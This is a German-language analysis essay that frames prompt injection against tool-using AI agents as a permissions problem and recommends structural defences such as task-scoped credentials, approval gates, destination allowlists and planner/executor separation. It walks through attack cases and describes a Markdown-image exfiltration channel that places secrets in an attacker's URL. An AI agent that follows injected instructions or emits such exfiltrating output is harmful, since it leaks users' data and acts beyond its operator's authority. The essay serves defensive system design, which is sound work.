Analyse: Prompt Injection ist ein Berechtigungsproblem – und es als Formulierungsproblem zu behandeln, ist genau der Grund, warum es weiterhin funktioniert

Alle paar Monate macht eine neue Demonstration die Runde: eine Kalendereinladung, die einen Assistenten dazu bringt, ein Postfach weiterzuleiten; eine Webseite, die einen Browser-Agenten zur Preisgabe eines Sitzungstokens veranlasst; ein Codekommentar, der einen Repository-Agenten dazu bringt, ungefragt einen Pull-Request zu eröffnen. Die Demonstrationen ändern sich. Die Reaktion kaum: Jemand schlägt einen entschiedener formulierten System-Prompt vor, jemand anderes einen Klassifikator, und die Branche geht zur Tagesordnung über, bis der nächste Fall kommt.

Das Muster wiederholt sich, weil das Problem falsch eingeordnet wird. Prompt-Injection wird als Problem der Inhaltsfilterung behandelt, obwohl es sich um ein Autorisierungsproblem handelt. Und Autorisierungsprobleme lassen sich nicht durch bessere Formulierungen lösen.

Warum diese Grenze nicht existiert

Ein Sprachmodell erhält eine einzige Sequenz. Der System-Prompt, die Nachricht des Nutzers, der Inhalt eines abgerufenen Dokuments, die Ausgabe eines Werkzeugaufrufs und der Text einer Webseite treffen allesamt als Tokens in dieser Sequenz ein. Das Modell ist darauf trainiert, Anweisungen zu befolgen, die es in dieser Sequenz findet. Es verfügt weder über einen separaten, privilegierten Kanal, über den die Absicht des Betreibers übermittelt wird, noch über einen Mechanismus, der bestimmte Textabschnitte als inaktiv kennzeichnet.

Das ist der Kern des Problems. Softwareentwickler kennen diese Struktur von SQL-Injections, und die Analogie ist bis zu dem Punkt nützlich, an dem sie nicht mehr trägt. SQL-Injections wurden durch vorbereitete Anweisungen gelöst: Die Datenbank erhielt die Möglichkeit, Abfragestruktur und Parameterwerte über getrennte Kanäle entgegenzunehmen, sodass selbst der raffinierteste Wert die Struktur nicht verändern konnte. Für ein Sprachmodell gibt es keine vorbereitete Anweisung. Bislang hat niemand einen allgemeinen Mechanismus bereitgestellt, mit dem ein Modell Anweisungen und Daten getrennt empfangen und sich verlässlich an diese Unterscheidung halten kann.

Trennzeichen schaffen einen solchen Mechanismus nicht. Nicht vertrauenswürdige Inhalte mit Tags, Hashes oder ungewöhnlichen Trennzeichen zu markieren, hilft gegen wenig ausgefeilte Versuche und sollte praktiziert werden. Doch auch die Markierung ist lediglich Text im selben Datenstrom, und eine hinreichend direkte Anweisung innerhalb des markierten Bereichs kann dennoch befolgt werden, insbesondere wenn sie konkreter und aktueller ist als die allgemeine Schutzanweisung darüber.

Injection ohne Befugnisse ist eine Kuriosität

Eine veränderte Betrachtungsweise führt hier zu anderen Designentscheidungen: Eine eingeschleuste Anweisung ist nur dann von Bedeutung, wenn das Modell infolgedessen etwas tun kann.

Ein Modell, das eine feindselige Webseite liest und Text erzeugt, wurde dazu gebracht, etwas Falsches zu sagen. Das ist ein Qualitätsproblem: real, aber begrenzt. Dasselbe Modell mit einem Werkzeug zum Versenden von E-Mails, einem HTTP-Client und einem dauerhaften OAuth-Token ist ein anderes System: Die feindselige Seite wird nun zu einem entfernten Ausführungspfad für alles, worauf diese Zugangsdaten Zugriff gewähren.

Der Schweregrad einer Injection ist daher keine Eigenschaft des Textes. Er hängt von den Werkzeugen ab, die dem Modell in dem Moment zur Verfügung stehen, in dem es den Text liest. Zwei Implementierungen desselben Modells mit demselben System-Prompt und denselben Schutzmaßnahmen können sich im schlimmsten Fall um mehrere Größenordnungen unterscheiden, nur weil bei einer von ihnen ein Token mit Schreibberechtigung im Spiel ist.

Deshalb ist wie anfällig ist unser Prompt für Injections die falsche Kennzahl und was ist das Schlimmste, das dieser Agent in einem einzigen Durchlauf tun kann die richtige. Die zweite Frage lässt sich konkret beantworten, einem Sicherheitsprüfer vorlegen und testen.

Die Struktur, die immer wieder durchbrochen wird

Fast jedes Szenario, das einem schwerwiegenden Vorfall gleichkommt, weist dieselben drei Bestandteile auf:

• Nicht vertrauenswürdige Eingaben erreichen das Modell. E-Mail-Texte, Webseiten, PDF-Dateien, Ticketsysteme, Kalendereinladungen, Codekommentare, Dateinamen, OCR-Ausgaben, Transkripte. Alles, worin Dritte Inhalte hinterlegen können.
• Das Modell verfügt über weitreichende, dauerhafte Zugangsdaten. Ein langlebiges API-Token, ein Dienstkonto, ein Sitzungscookie oder ein in die Sandbox eingebundener SSH-Schlüssel.
• Es gibt einen ausgehenden Übertragungsweg. Einen HTTP-Client, ein E-Mail-Werkzeug, einen Webhook, einen Git-Push oder schlicht eine Bild-URL, die vom Renderer abgerufen wird.

Entfernt man einen dieser drei Bestandteile, werden die relevanten Angriffe erheblich schwieriger. Genau hier liegt der tatsächliche Hebel für die Systemgestaltung, und er steht schon heute zur Verfügung, ohne auf ein gegen Injections resistentes Modell warten zu müssen.

Der dritte Bestandteil verdient besondere Aufmerksamkeit, weil er so oft unsichtbar bleibt. Das Rendern von Markdown-Bildern ist ein Kanal zum Datenabfluss: Gibt ein Agent auf einer Oberfläche, die Bilder rendert, ein Bild-Tag mit dem Ziel https://attacker.example/?d=SECRET aus, hat er eine ausgehende Anfrage mit vom Angreifer bestimmten Inhalten ausgelöst, ganz ohne Werkzeugaufruf. Teams, die ihr HTTP-Werkzeug sorgfältig auf eine Positivliste beschränken und die Agentenausgabe anschließend als Rich Markdown rendern, haben die Hintertür offen gelassen.

Maßnahmen, die die Risikoklasse tatsächlich verändern

Die Reihenfolge ist bewusst gewählt. Günstige strukturelle Maßnahmen bewirken mehr als ausgefeilte statistische Verfahren.

Begrenzen Sie die Zugangsdaten auf die Aufgabe, nicht auf den Agenten. Das Token, über das ein Agent bei der Zusammenfassung der Tickets eines Kunden verfügt, sollte nicht zum Lesen der Tickets eines anderen Kunden berechtigen. Das ist das übliche Prinzip der geringsten Rechte, angewandt pro Sitzung statt pro Dienst. Es ist die wirksamste Einzelmaßnahme, weil sie aus der Angreifer hat unsere Daten erreicht ein der Angreifer hat die Daten erreicht, um die es bei dieser Anfrage ohnehin ging macht.

Schalten Sie unumkehrbaren und ausgehenden Aktionen eine Freigabe vor. Lesezugriffe können in der Regel automatisch erfolgen. Bei Schreibvorgängen, Versandaktionen, Zahlungen, Löschungen, Zusammenführungen und externen Veröffentlichungen rechtfertigt eine menschliche Bestätigung ihren Aufwand. Die Freigabe muss zeigen, was geschehen wird, nicht nur, dass etwas geschehen wird: Ein Dialog mit dem Text „Der Agent möchte das E-Mail-Werkzeug verwenden“ gewöhnt Menschen daran, auf Ja zu klicken. Ein Dialog, der den Empfänger nennt und den Inhalt anzeigt, tut das nicht.

Beschränken Sie Ziele, nicht nur Werkzeuge, auf Positivlisten. Ein Abrufwerkzeug, das auf eine Reihe bekannter Hosts beschränkt ist, unterscheidet sich substanziell von einem Abrufwerkzeug, das jede beliebige URL erreichen kann. Dasselbe gilt für E-Mail-Empfänger, Webhook-Ziele und Git-Remotes.

Trennen Sie Planung und Ausführung, wenn das Risiko dies rechtfertigt. Ein verbreitetes Muster ist eine Anordnung mit zwei Modellen: Ein Modell liest das nicht vertrauenswürdige Material und erstellt eine strukturierte Zusammenfassung, ohne Werkzeuge aufrufen zu können. Ein zweites Modell, das den unbereinigten, nicht vertrauenswürdigen Text nie zu Gesicht bekommt, führt auf Grundlage dieser strukturierten Ausgabe Aktionen aus. Das beseitigt Injections nicht, weil die Zusammenfassung eine Schadlast transportieren kann. Ein eingeschränktes Schema ist jedoch ein wesentlich schmalerer Kanal als freier Text.

Protokollieren Sie die Herkunft jeder Anweisung, die zu einer Aktion geführt hat. Wenn etwas schiefgeht, muss sich die Frage welches Dokument hat den Agenten zu dieser Handlung veranlasst beantworten lassen, ohne eine Sitzung aus dem Gedächtnis rekonstruieren zu müssen.

Fügen Sie erst dann die Klassifikatoren hinzu. Injection-Detektoren, Ausgabescanner und Anomalieregeln sind ihren Einsatz wert. Sie verringern das Aufkommen. Behandeln Sie sie so, wie es ihnen gebührt: als statistische Filter für eine von Gegnern beeinflusste Eingabeverteilung, nützlich zur Verringerung des Störrauschens, aber niemals als tragende Schutzmaßnahme für eine gefährliche Befugnis.

Was das für die Gestaltung von Werkzeugen bedeutet

Der Aufstieg standardisierter Werkzeugschnittstellen, darunter das Model Context Protocol, hat es leicht gemacht, einen Agenten mit Fähigkeiten auszustatten. Gerade diese Einfachheit birgt das Risiko. In einem Katalog von Konnektoren, deren Einträge sich jeweils mit einem Klick aktivieren lassen, wächst die Werkzeugoberfläche schneller als jedes Bedrohungsmodell.

Zwei Gewohnheiten helfen. Erstens: Werkzeuge sollten eng umrissene Tätigkeiten abbilden, keine weitreichenden APIs. Ein Werkzeug namens refund_order, das eine Bestellnummer und einen Betrag entgegennimmt und serverseitig begrenzt ist, ist sicherer als ein generisches Werkzeug namens call_internal_api, das eine Methode, einen Pfad und einen Inhalt entgegennimmt, obwohl Letzteres flexibler und viel einfacher zu schreiben ist. Genau diese Flexibilität macht sich eine eingeschleuste Anweisung zunutze.

Zweitens: Die destruktive Befugnis sollte hinter einer Richtlinie liegen, über die das Modell nicht verhandeln kann. Wird die Erstattungsgrenze in der Implementierung des Werkzeugs durchgesetzt, kann das Modell sie mit seinen Überlegungen zur Berechtigung einer Erstattung nicht überschreiten. Ist die Grenze lediglich im System-Prompt beschrieben, kann es das sehr wohl.

Der unbequeme Teil

Diese Analyse lässt sich nicht mit der Feststellung abschließen, das Problem sei gelöst. Die Forschung zu Anweisungshierarchien, zum Training von Modellen auf die Bevorzugung von Text auf Systemebene und zur architektonischen Trennung von Kanälen ist real und macht Fortschritte. Ein Modell, das Injections wesentlich besser widersteht als heutige Modelle, wäre tatsächlich wertvoll. Doch wesentlich besser ist nicht dasselbe wie sicher genug für den Zugriff auf produktive Zugangsdaten, und Sicherheitskonzepte sollten nicht auf einer Fähigkeit beruhen, die noch gar nicht bereitgestellt wurde.

Die pragmatische Haltung ist dieselbe, die die Sicherheitstechnik bei nicht vertrauenswürdigen Eingaben seit jeher einnimmt: Gehen Sie davon aus, dass sie durchkommen, und sorgen Sie dafür, dass der Schaden in diesem Fall durch etwas anderes als das Urteilsvermögen des Modells begrenzt wird. Jede in diesem Artikel beschriebene Maßnahme ist heute verfügbar, keine erfordert ein neues Modell, und gemeinsam machen sie aus einer potenziell katastrophalen Vorfallklasse ein Ärgernis.

Das ist weniger als gelöst. Es markiert aber auch den Unterschied zwischen einem Agenten, den man produktiv einsetzen kann, und einem, den man nur vorführen kann.